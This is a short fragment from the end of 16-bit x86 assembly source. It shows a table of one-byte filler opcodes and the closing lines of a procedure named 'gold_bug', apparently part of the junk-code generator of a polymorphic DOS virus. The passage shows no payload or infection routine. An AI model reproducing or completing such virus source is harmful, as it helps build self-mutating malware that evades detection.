		xor	al,0b4h
		and	al,0d4h
		les	ax,dword ptr ds:[si]
		les	cx,dword ptr ds:[si]
		les	bp,dword ptr ds:[si]
		adc	al,0d4h
		and	al,084h
		adc	al,084h
		adc	al,024h
		add	al,084h
		add	al,014h
		add	al,024h
		test	dl,ah
		repz	stc
		repnz	stc

;-----------------------------------------------------------------------------

one_byte_table:	int	SINGLE_BYTE_INT
		into
		daa
		das
		aaa
		aas
		inc	ax
		inc	cx
		inc	dx
		inc	bp
		inc	di
		dec	ax
		dec	cx
		dec	dx
		dec	bp
		dec	di
		nop
		xchg	cx,ax
		xchg	dx,ax
		xchg	bp,ax
		xchg	di,ax
		cbw
		cwd
		lahf
		scasb
		scasw
		xlat
		repnz
		repz
		cmc
		clc
		stc
		ENDIF

;-----------------------------------------------------------------------------

gold_bug	endp
cseg		ends
end		com_code
